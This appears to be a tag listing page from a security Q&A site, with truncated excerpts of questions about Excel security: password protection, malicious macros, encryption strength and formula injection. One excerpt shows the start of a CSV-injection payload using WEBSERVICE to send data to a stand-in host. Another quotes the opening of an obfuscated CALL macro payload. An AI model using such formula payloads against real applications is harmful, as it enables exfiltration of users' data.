Questions tagged [excel]
A spreadsheet program that is part of Microsoft Office. Security issues can involve e.g. macros and code execution in formulas. See also [office].
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How safe is a password protected Excel file?
I have a need to send a 3rd party regular Excel files.
I currently use excel password protection on the file itself and the password I use is known by the 3rd party.
However, today I read a thread on ...
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Does malicious MS Office xlsb file with macros posses risk to OpenOffice?
I opened malicious MS Office xlsb file with OpenOffice by huge mistake. I am wondering does it possess any risk? From what I am aware Excel macros are not compatible with OpenOffice. So I should be ...
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Is it safe to store account credentials in an Excel sheet protected with a password?
Basically the title. For example, how bad is it to store passwords in an Excel sheet protected with a password, instead of storing passwords in Keypass or something else like Zoho Vault? Of course, ...
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Opened compromised Excel file - am I safe?
Long story short, got duped into opening an XLSM in Excel, with macros being enabled. Realised instantly.
Digged into the Excel structure, found the following (extremely obfuscated) payload:
=CALL(&...
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Can a text file disguised as .xlsm be malicious?
A hour ago we receive a suspicious mail targeting some of our mailing lists. It contains a .zip file, itself containing a .xlsm file.
This .xlsm file appears to be recognized as an ASCII text file ...
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Crack windows excel password
I have many password protected microsoft excel worksheet and I need to be able to edit it. I have forgotten the password, and I know that I can edit the file and take out the password check, but I ...
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Does "=cmd" CSV injection still exist in 2020?
I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as:
=WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
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How to "unprotect" malicious workbook without knowing password
Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in ...
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Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP
I need to extract data from inside an Excel fille using Excel 2007 functions.
The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (...
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External command execution in Excel formulas
It's known that MS Excel functionality of external references will allow executing arbitrary commands from its formulas with appropriate security warnings and confirmation required from the user.
E.g....
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Excel 2007 Encryption Strength
With a strong password of 10+ characters, mixed case, etc... is the encryption of an Excel 2007 document secure enough to create reasonably strong defense against a brute force attack?
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